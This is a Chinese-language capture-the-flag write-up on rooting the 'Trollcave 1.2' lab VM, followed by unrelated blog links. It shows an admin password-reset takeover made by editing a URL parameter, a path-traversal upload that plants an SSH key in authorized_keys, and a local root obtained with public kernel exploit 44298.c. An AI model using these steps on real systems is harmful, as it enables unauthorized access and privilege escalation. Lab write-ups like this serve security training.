关于

  • 下载地址:点我
  • Flag:root/flag.txt
  • 哔哩哔哩:视频

信息收集

  1. 不知道VM虚拟机怎么啦,导入镜像后,用Nmap扫了,发现不了主机。所以这次用了VBox。
  2. vboxnet0的IP为192.168.56.130,Nmap扫192.168.56.1/24,发现虚拟机IP为192.168.56.102

nmap -T4 -A 192.168.56.102

Starting Nmap 7.01 ( https://nmap.org ) at 2018-07-16 22:38 CST
Nmap scan report for 192.168.56.102
Host is up (0.00041s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:ab:d7:2e:58:74:aa:86:28:dd:98:77:2f:53:d9:73 (RSA)
|_ 256 57:5e:f4:77:b3:94:91:7e:9c:55:26:30:43:64:b1:72 (ECDSA)
80/tcp open http nginx 1.10.3 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Trollcave
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.60 seconds
  1. 发现开了ssh和http就没了。先去看Web的。通过插件看到好像是一个ruby-on-rails框架写的,然后有几篇文章讲关于这个网站的,翻译一下就能知道其中有讲到密码找回的,是新注册的用户才可以的。旁边还有显示在线的用户和新注册的用户。
  2. 随便点开一个用户的主页发现URL是从1~17的数字,17又是新注册的,所以我们猜想1就是管理员用户。
  3. 现在尝试去找回密码,通过Google可以找到这个框架的找回密码的在password_reset后面加new的。详细的可以点这里看一下。
  4. 打开http://192.168.56.102/password_resets/new输入管理员用户King发现不行,因为在上面说了,新注册的用户才可以找回密码。再输入xer这个新注册的用户。
  5. 然后有一段提示:Reset email sent. http://192.168.56.102/password_resets/edit.Ec80xGP57IiFEzBpAtx4AQ?name=xer把name的参数改成管理员用户King,发现可以改掉管理员的密码,改了之后登录管理员看看。
  6. 有可以上传文件的http://192.168.56.102/user_files还有可以开启上传文件的选项。
  7. 这里还有服务器的物理路径/var/www/trollcave/public/uploads/King/crown.png
  8. 这个框架会新建一个rails的用户给Web服务。所以我们打算上传一个shh的公钥,这样就可以直接用ssh连接服务器了。就是上传到../../../../../../home/rails/.ssh/authorized_keys,然后ssh rails@192.168.56.102连上。

提权

  1. 老套路python -c 'import pty;pty.spawn("/bin/bash")'获取交互终端。
  2. lsb_release -a查看系统的发行版本,准备exp
rails@trollcave:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04.4 LTS
Release: 16.04
Codename: xenial
rails@trollcave:~$
rails@trollcave:~$ uname -a
Linux trollcave 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
  1. 搜搜exp:searchsploit 4.4.0-116,编译上传到目标主机。
----------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------
Exploit Title | Path
| (/opt/exploit-database/)
----------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | exploits/linux/local/44298.c
----------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------
Shellcodes: No Result
Papers: No Result cp /opt/exploit-database/exploits/linux/local/44298.c exp.c
gcc exp.c
scp a.out rails@192.168.56.102:a.out
  1. 加权限执行,拿到root权限,完事!
rails@trollcave:~$ ls
rails@trollcave:~$ pwd
/home/rails
rails@trollcave:~$ ls
a.out
rails@trollcave:~$ chmod +x a.out
rails@trollcave:~$ ./a.out
task_struct = ffff880027d29e00
uidptr = ffff88002ac26844
spawning root shell
root@trollcave:~#
root@trollcave:/root# cat flag.txt
et tu, dragon? c0db34ce8adaa7c07d064cc1697e3d7cb8aec9d5a0c4809d5a0c4809b6be23044d15379c5
root@trollcave:/root#

[Write-up]-Trollcave: 1.2的更多相关文章

  1. trollcave解题

    这是第一次完整地进行模拟渗透,前前后后一共花了一天时间,花了点时间写了个writeup. 博主是个菜鸡,如果有大神看到,请轻喷...... writeup下载:https://hrbeueducn-m ...

随机推荐

  1. sqli-libs(46-53关)

    Less_46 补充知识:MySQL知识 SQL语句中,asc是指定列按升序排列,desc则是指定列 按降序排列: Select * from users order by 1 desc; 使用降序进 ...

  2. 吴裕雄 python 机器学习——集成学习随机森林RandomForestRegressor回归模型

    import numpy as np import matplotlib.pyplot as plt from sklearn import datasets,ensemble from sklear ...

  3. 507,介绍一下标准的css盒子模型?低版本ie的盒子模型有什么不同的?

    有两种,IE盒子模型,另外是W3C盒子模型: 盒模型都包括:内容(content),填充(padding),边界(margin),边框(border): 区别:IE的content部分吧border和 ...

  4. Spring - MVC - 修改 Java 类后, 触发重启

    1. 概述 学习 Spring MVC 下, 如何可控的触发重启 2. 背景 学习 Spring 场景 有些时候, 改完类, 需要重启 之前有听说, Spring MVC 可以自动重启 于是想, 尝试 ...

  5. hadoop学习笔记(六):hadoop全分布式集群的环境搭建

    本文原创,如需转载,请注明作者以及原文链接! 一.前期准备: 1.jdk安装        不要用centos7自带的openJDK2.hostname    配置       配置位置:/etc/s ...

  6. 基于Aspectj表达式配置的Spring AOP

    AOP(Aspect-Oriented Programming, 面向切面编程):是一种新的方法论, 是对传统OOP(Object-Oriented Programming, 面向对象编程)的补充. ...

  7. LeetCode 编辑距离(DP)

    题目 给定两个单词 word1 和 word2,计算出将 word1 转换成 word2 所使用的最少操作数 . 你可以对一个单词进行如下三种操作: 插入一个字符 删除一个字符 替换一个字符 思路 定 ...

  8. linux下使用crontab新建定时任务

    我安装了一个全文搜索的插件,但是需要生成索引才能使用,但是不能手动生成索引,所以说呢,我就加了一个定时任务, 一.首先vim /etc/crontab 打开文件 我根据上面的提示加了用户名,但是看到其 ...

  9. vue基础总结

    Vue语法: new Vue({ //挂载: el: '#app', //初始化数据: data: {}, //监听 data 的数据变化: watch: { todos: { //深度监视 hand ...

  10. 【C语言】输入一个年份和月份,输出该月的天数

    分析: 三种类型, A.2月比较特殊,平年的2月只有28天,而闰年的2月有 29 天: B.4.6.9.11月: C.其他1.3.5.7.8.10.12月. 代码: /*输入一个年份和月份,输出该月的 ...